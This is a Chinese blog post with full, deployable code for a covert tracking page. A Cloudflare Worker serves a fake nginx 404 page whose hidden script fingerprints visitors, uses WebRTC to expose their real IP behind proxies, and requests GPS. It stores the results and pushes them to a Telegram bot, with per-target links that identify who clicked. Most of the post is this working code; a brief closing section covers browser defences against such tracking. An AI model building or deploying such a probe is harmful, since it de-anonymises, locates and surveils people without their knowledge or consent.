前言
做蜜罐、流量测绘或者做点简单的安全审计,免不了要对进来的请求做设备指纹分析。最早期我搭这套东西的时候,因为手里没有可用域名,拿 Netlify 做前端和反代,把数据重写给 workers.dev,再由 Worker 调 Telegram 推送。
这套三层架构能跑,但用久了毛病不少:Netlify 特征太明显,workers.dev 在国内网络环境动不动就抽风,中间多绕了一层转发,定位和某些高阶 API 在非同源反代下还会遇到奇奇怪怪的权限问题。
现在手里有了域名,直接把中间商踢掉,用一个 Cloudflare Worker 承担全套功能——既当伪装页服务端,又当数据接收端,还顺带把后台管理和持久化存储一块包圆。这篇文章把重构后的 v2 版本完整梳理一遍,顺带聊聊一些少有人注意到的指纹采集细节。
系统架构
现在的架构缩减成了单 Worker 全托管。
[访客浏览器]
│
├── GET / ──> 返回伪装的 Nginx 404 页面(内嵌探针 JS)
├── POST /api ──> 数据接收、特征融合、VPN 判定、写入 KV
│ └── 异步向 Telegram Bot 推送结构化告警
├── GET /login ──> 后台管理鉴权
└── GET /admin ──> 渠道管理、数据看板、导出 JSON
和旧方案相比,最大的变化有三个:
第一,链路纯同源。浏览器请求页面、提交 /api 全在同一个自定义域名下,没有任何跨域协商,CSP 和安全上下文也是完整的。
第二,善用边缘节点元数据(request.cf)。过去很多地理位置和 ASN 依赖第三方接口(比如 ipapi.co),经常因为超时拖慢整体响应。Cloudflare 在请求到达边缘时,本身就挂载了大量现成的连接属性(ASN、归属机构、TLS 版本、Cipher 套件、HTTP 协议版本、Colo 节点等),这些信息直接在服务端读取,前端连伪造的机会都没有。
第三,存储与去重持久化。早期版本用内存 Map 做 IP 去重,Worker 实例一重启或者跨节点调度缓存就丢。现在直接挂 Cloudflare KV,设置 TTL 做时间窗口去重,同一 IP 在设定的窗口期内只推一次,同时全量日志归档进 KV 供后台检索。
核心实现
1. 前端伪装与特征采集
前端依旧维持最朴素的 Nginx 404 Not Found 样式。探针脚本在页面加载时按「先同步特征、后异步耗时、最后按需申请高敏感权限」的顺序执行。这样就算访客察觉不对立刻关掉页面,核心设备指纹和真实 IP 也已经发出去了。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>404 Not Found</title>
<style>
body{background:#f1f1f1;color:#333;text-align:center;padding-top:110px;font-family:Arial,Helvetica,sans-serif;margin:0}
h1{font-size:64px;color:#666;margin:0}
p{font-size:18px;color:#999;margin:12px 0}
hr{width:300px;border:1px solid #ddd;margin:30px auto}
address{color:#bbb;font-size:13px;font-style:normal}
</style>
</head>
<body>
<h1>404</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>nginx/1.18.0</address>
<script>
var q = new URLSearchParams(location.search);
var ch = q.get('ch') || '';
var ref = q.get('ref') || '';
var uuid = localStorage.getItem('probe_uuid');
var isReturn = !!uuid;
if (!uuid) {
uuid = crypto.randomUUID ? crypto.randomUUID() : ('u' + Date.now() + Math.random().toString(36).slice(2));
try { localStorage.setItem('probe_uuid', uuid); } catch(e) {}
}
var enterTs = Date.now();
function send(evt, payload) {
payload = payload || {};
var body = { uuid: uuid, ch: ch, ref: ref, evt: evt, t: Date.now() };
for (var k in payload) body[k] = payload[k];
var s = JSON.stringify(body);
try {
if (navigator.sendBeacon) {
var ok = navigator.sendBeacon('/api', new Blob([s], { type: 'application/json' }));
if (ok) return;
}
fetch('/api', { method: 'POST', headers: { 'content-type': 'application/json' }, body: s, keepalive: true });
} catch(e) {}
}
function fnv1a(str) {
var h = 0x811c9dc5;
for (var i = 0; i < str.length; i++) { h ^= str.charCodeAt(i); h = (h * 0x01000193) >>> 0; }
return h.toString(16);
}
// Canvas 渲染指纹
function canvasHash() {
try {
var c = document.createElement('canvas'); c.width = 240; c.height = 60;
var x = c.getContext('2d'); x.textBaseline = 'top'; x.font = '14px Arial';
x.fillStyle = '#f60'; x.fillRect(0, 0, 240, 60);
x.fillStyle = '#069'; x.fillText('Probe Fingerprint Test 0123456789', 4, 18);
x.fillStyle = 'rgba(102,204,0,0.7)'; x.fillText('Font Render Check', 4, 40);
return fnv1a(c.toDataURL().slice(0, 400));
} catch(e) { return ''; }
}
// WebGL 与 GPU 渲染器
function gpuInfo() {
try {
var c = document.createElement('canvas');
var gl = c.getContext('webgl') || c.getContext('experimental-webgl');
if (!gl) return '';
var ext = gl.getExtension('WEBGL_debug_renderer_info');
return ext ? (gl.getParameter(ext.UNMASKED_RENDERER_WEBGL) || '') : (gl.getParameter(gl.RENDERER) || '');
} catch(e) { return ''; }
}
// WebRTC 穿透(改用国内 STUN,避免 Google STUN 在国内被墙导致获取失败)
function getRtc(cb) {
var done = false;
function finish(v) { if (!done) { done = true; cb(v || ''); } }
try {
var pc = new RTCPeerConnection({ iceServers: [{ urls: ['stun:stun.qq.com:3478', 'stun:stun.miwifi.com:3478'] }] });
var t = setTimeout(function() { finish(''); }, 2000);
pc.createDataChannel('');
pc.createOffer().then(function(d) { pc.setLocalDescription(d); }).catch(function() {});
pc.onicecandidate = function(e) {
if (!e.candidate) return;
var c = e.candidate.candidate || '';
var parts = c.split(' ');
var ip = parts[4] || '';
var typ = parts[7] || '';
if (typ === 'srflx' && /^(\d{1,3}\.){3}\d{1,3}$/.test(ip)) {
clearTimeout(t); finish(ip); try { pc.close(); } catch(e2) {}
}
};
} catch(e) { finish(''); }
}
// 提取 UA 里的具体机型兜底
function getModelFromUA() {
try {
var ua = navigator.userAgent;
var m = ua.match(/\(([^)]*iPhone[^)]*)\)/);
if (m) return m[1].split(';')[0].trim();
var m3 = ua.match(/;\s*([^;)]+)\s+Build\//);
if (m3) return m3[1].trim();
} catch(e) {}
return '';
}
// 同步采集最基础的硬件与环境指纹
function collectSync() {
var s = window.screen, co = navigator.connection;
var pointer = (window.matchMedia && window.matchMedia('(pointer:coarse)').matches) ? 'coarse' : 'fine';
return {
ua: navigator.userAgent,
platform: navigator.platform,
model: getModelFromUA(),
lang: navigator.language || '',
langs: (navigator.languages || []).join(','),
cores: navigator.hardwareConcurrency || '',
mem: navigator.deviceMemory || '',
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || '',
touch: (navigator.maxTouchPoints > 0 ? 'coarse' : 'fine') + '/' + pointer,
colorDepth: s.colorDepth,
pixelRatio: window.devicePixelRatio || '',
screen: s.width + 'x' + s.height,
orientation: (s.orientation && s.orientation.type) || '',
netType: co ? (co.effectiveType || '') : '',
netDownlink: co ? (co.downlink || '') : '',
online: navigator.onLine ? '1' : '0',
cookie: navigator.cookieEnabled ? '1' : '0',
gpu: gpuInfo(),
cvs: canvasHash(),
ref_url: document.referrer || ''
};
}
// 第一阶段:首屏特征立即发
send('page_view', collectSync());
if (isReturn) send('return_visit', {});
// 第二阶段:WebRTC 穿透与 Client Hints 精确机型识别
getRtc(function(rip) { send('rtc', { rtc_ip: rip }); });
if (navigator.userAgentData && navigator.userAgentData.getHighEntropyValues) {
navigator.userAgentData.getHighEntropyValues(['model', 'platformVersion']).then(function(h) {
if (h.model) send('model', { model: h.model, platformVersion: h.platformVersion || '' });
}).catch(function() {});
}
// 第三阶段:延时 1 秒后尝试申请地理位置(GPS)
setTimeout(function() {
if (!navigator.geolocation) return;
navigator.geolocation.getCurrentPosition(function(pos) {
var c = pos.coords;
send('geo_grant', { lat: c.latitude, lng: c.longitude, acc: Math.round(c.accuracy) });
}, function(err) {
send('geo_deny', { reason: err && err.code });
}, { timeout: 8000, maximumAge: 60000 });
}, 1000);
window.addEventListener('pagehide', function() { send('stay_time', { dur: Date.now() - enterTs }); });
</script>
</body>
</html>
2. Worker 边缘服务端处理
Worker 端不仅要处理数据的落库和推送,还要承担起多维度的异常检测逻辑:比如把 WebRTC 挖出来的真实私网/公网 IP 和 HTTP 连接层 IP 做比对,判断访客是否挂了代理;比对 GPS 坐标和 Cloudflare 提供的 IP 坐标距离,识别虚拟定位与改机行为。
const ADMIN_PASSWORD = 'your_admin_password';
const DEDUP_TTL = 30; // 相同 IP 在 30 秒内只推一次,防止连续刷新刷屏
export default {
async fetch(request, env, ctx) {
const url = new URL(request.url);
const p = url.pathname;
const m = request.method.toUpperCase();
if (p === '/api' && m === 'POST') return handleApi(request, env, ctx);
if (p === '/login') return handleLogin(request, env);
if (p === '/admin') return handleAdmin(request, env);
if (p === '/admin/api') return handleAdminApi(request, env, url);
if (p === '/' || p === '/index.html') return new Response(LANDING_HTML, { headers: { 'content-type': 'text/html;charset=utf-8' } });
return new Response('Not Found', { status: 404 });
}
};
async function handleApi(request, env, ctx) {
let body = {};
try { body = await request.json(); } catch (e) { return new Response('ok'); }
const http_ip = request.headers.get('CF-Connecting-IP') || '';
const cf = request.cf || {};
const evt = body.evt || '';
const uuid = body.uuid || '';
const tsNow = Date.now();
// 融合客户端采集与 Cloudflare 边缘层的底层网络属性
const rec = Object.assign({}, body, {
http_ip,
srv_ts: tsNow,
cf_asn: cf.asn || '',
cf_org: cf.asOrganization || '',
cf_country: cf.country || '',
cf_city: cf.city || '',
cf_region: cf.region || '',
cf_lat: cf.latitude || '',
cf_lng: cf.longitude || '',
cf_tls: cf.tlsVersion || '',
cf_cipher: cf.tlsCipher || '',
cf_http: cf.httpProtocol || ''
});
// 异步写入 KV 归档,完全不阻塞当前 HTTP 响应
ctx.waitUntil((async () => {
try {
await env.PROBE_KV.put(`r:${tsNow}:${uuid}:${evt}`, JSON.stringify(rec));
} catch (e) {}
})());
// 区分事件流进行 Telegram 推送
if (evt === 'page_view') ctx.waitUntil(pageViewFlow(rec, env));
else if (evt === 'rtc') ctx.waitUntil(rtcFlow(rec, env));
else if (evt === 'model') ctx.waitUntil(modelFlow(rec, env));
else if (evt === 'geo_grant') ctx.waitUntil(geoFlow(rec, env));
return new Response('ok');
}
// 基于半正矢公式(Haversine)计算 GPS 与 IP 归属地距离,判定虚拟定位
function haversine(lat1, lng1, lat2, lng2) {
if (!lat1 || !lng1 || !lat2 || !lng2) return -1;
const a1 = parseFloat(lat1), o1 = parseFloat(lng1), a2 = parseFloat(lat2), o2 = parseFloat(lng2);
const R = 6371;
const dLat = (a2 - a1) * Math.PI / 180;
const dLng = (o2 - o1) * Math.PI / 180;
const h = Math.sin(dLat / 2) ** 2 + Math.cos(a1 * Math.PI / 180) * Math.cos(a2 * Math.PI / 180) * Math.sin(dLng / 2) ** 2;
return 2 * R * Math.asin(Math.sqrt(h));
}
async function pageViewFlow(rec, env) {
// IP 级别限频
const dedupKey = `dedup:ip:${rec.http_ip}`;
if (await env.PROBE_KV.get(dedupKey)) return;
await env.PROBE_KV.put(dedupKey, '1', { expirationTtl: DEDUP_TTL });
const label = rec.ref || rec.ch || '默认渠道';
const lines = [
'🎯 新访客接入',
`⏰ ${new Date(rec.srv_ts).toLocaleString('zh-CN', { timeZone: 'Asia/Shanghai' })}`,
`🏷 渠道:${label}`,
`🆔 访客ID:${rec.uuid}`,
`🌐 出口IP:${rec.http_ip}`,
`🗺 归属:${[rec.cf_country, rec.cf_region, rec.cf_city].filter(Boolean).join(' · ')}`,
`🏢 运营商:${rec.cf_org} (ASN: ${rec.cf_asn})`,
`🔐 握手:${rec.cf_tls} / ${rec.cf_cipher} (${rec.cf_http})`,
`📱 设备:${rec.platform}${rec.model ? ' · ' + rec.model : ''}`,
`🖥 分辨率:${rec.screen} (DPR: ${rec.pixelRatio})`,
`🧠 硬件:${rec.cores} 核 / ${rec.mem ? rec.mem + 'GB' : '未知'} 内存`,
`🔧 GPU:${rec.gpu || '未知'}`,
`🩻 Canvas指纹:${rec.cvs || '未知'}`,
`🔗 来源:${rec.ref_url || '直接访问'}`
];
await tgSend(env, lines.join('\n'));
}
async function rtcFlow(rec, env) {
if (rec.rtc_ip && rec.rtc_ip !== rec.http_ip) {
const label = rec.ref || rec.ch || '默认渠道';
await tgSend(env, `🕵️ 疑似代理 / WebRTC 泄露真实IP\n🏷 渠道:${label}\n🌐 出口IP:${rec.http_ip}\n🔓 真实IP:${rec.rtc_ip}`);
}
}
async function geoFlow(rec, env) {
const dist = haversine(rec.cf_lat, rec.cf_lng, rec.lat, rec.lng);
let warning = '';
if (dist > 200) {
warning = `\n⚠️ 疑似虚拟定位:GPS 与出口 IP 距离偏离达 ${Math.round(dist)} 公里`;
}
await tgSend(env, `📍 已获取精准定位\n🏷 渠道:${rec.ref || rec.ch || '默认'}\n🌐 IP:${rec.http_ip}\n📐 GPS:${rec.lat}, ${rec.lng}\n🎯 精度:${rec.acc} 米${warning}\n🗺 地图:https://maps.google.com/?q=${rec.lat},${rec.lng}`);
}
async function tgSend(env, text) {
if (!env.TG_BOT_TOKEN || !env.TG_CHAT_ID) return;
try {
await fetch(`https://api.telegram.org/bot${env.TG_BOT_TOKEN}/sendMessage`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ chat_id: env.TG_CHAT_ID, text: text, disable_web_page_preview: true })
});
} catch (e) {}
}
几个关键的技术细节
1. 为什么 STUN 服务器不能用 Google 的?
很多早期的 WebRTC 穿透教程喜欢抄 stun:stun.l.google.com:19302。在国际网络下没问题,但在国内环境,Google 的 STUN 节点基本全被干扰,导致建立连接直接超时,一次都拿不到内网/真实 IP。改用腾讯或小米的公开 STUN 服务(stun:stun.qq.com:3478、stun:stun.miwifi.com:3478),直连稳定,200 毫秒内就能完成 candidate 交换。
2. HTTPS 与安全上下文对指纹质量的决定性影响
很多人部署探针为了省事只开了 HTTP。现代浏览器(特别是 Chrome 和 Safari)对非安全上下文做了极其严苛的降级处理:
crypto.randomUUID()无法使用;navigator.deviceMemory直接返回undefined;navigator.mediaDevices整个对象被隐藏,连摄像头和麦克风的数量都数不出来;navigator.geolocation连系统授权弹窗都不会出,直接静默抛出PERMISSION_DENIED。
探针必须运行在 HTTPS 下。在 Cloudflare 后台开启 Always Use HTTPS,让所有流量强制走边缘 TLS 证书,这些高价值 API 才会全部正常工作。
3. 渠道参数(Channel Tracking)的实战价值
把同一个探针部署出去,如果只看总日志,很难区分流量来源。在 URL 后追加 ?ch=xxx&ref=目标名称,Worker 在接收时绑定渠道标签并存入 KV。这样可以在后台为不同目标生成独立的专属追踪链接,Telegram 告警里一目了然是谁点了链接。
防御与反制
了解了攻击面与指纹收集的实现,作为防御者如何隐藏自己的设备痕迹?
- 切断 WebRTC 泄露渠道:在支持的浏览器配置中禁用 WebRTC(如 Firefox 设置
media.peerconnection.enabled = false),或者使用专门的 WebRTC 阻断插件。这样无论挂不挂代理,都不会通过 UDP 探测暴露真实接口地址。 - 警惕来源不明页面的系统权限申请:一个静态 404 页面或普通文本页如果突然弹出「获取位置信息」或「使用摄像头」的授权请求,基本可以 100% 定性为指纹探测行为,直接拒绝并关闭标签页即可。
- 启用浏览器防指纹保护:使用 Firefox 的 Enhanced Tracking Protection(严格模式),或者借助 Brave / Tor 浏览器。这些浏览器会对 Canvas、WebGL 输出注入微小的随机噪声(Noise Injection),或者把硬件并发数、屏幕分辨率等特征归一化,使得跨站指纹比对算法无法生成稳定的哈希。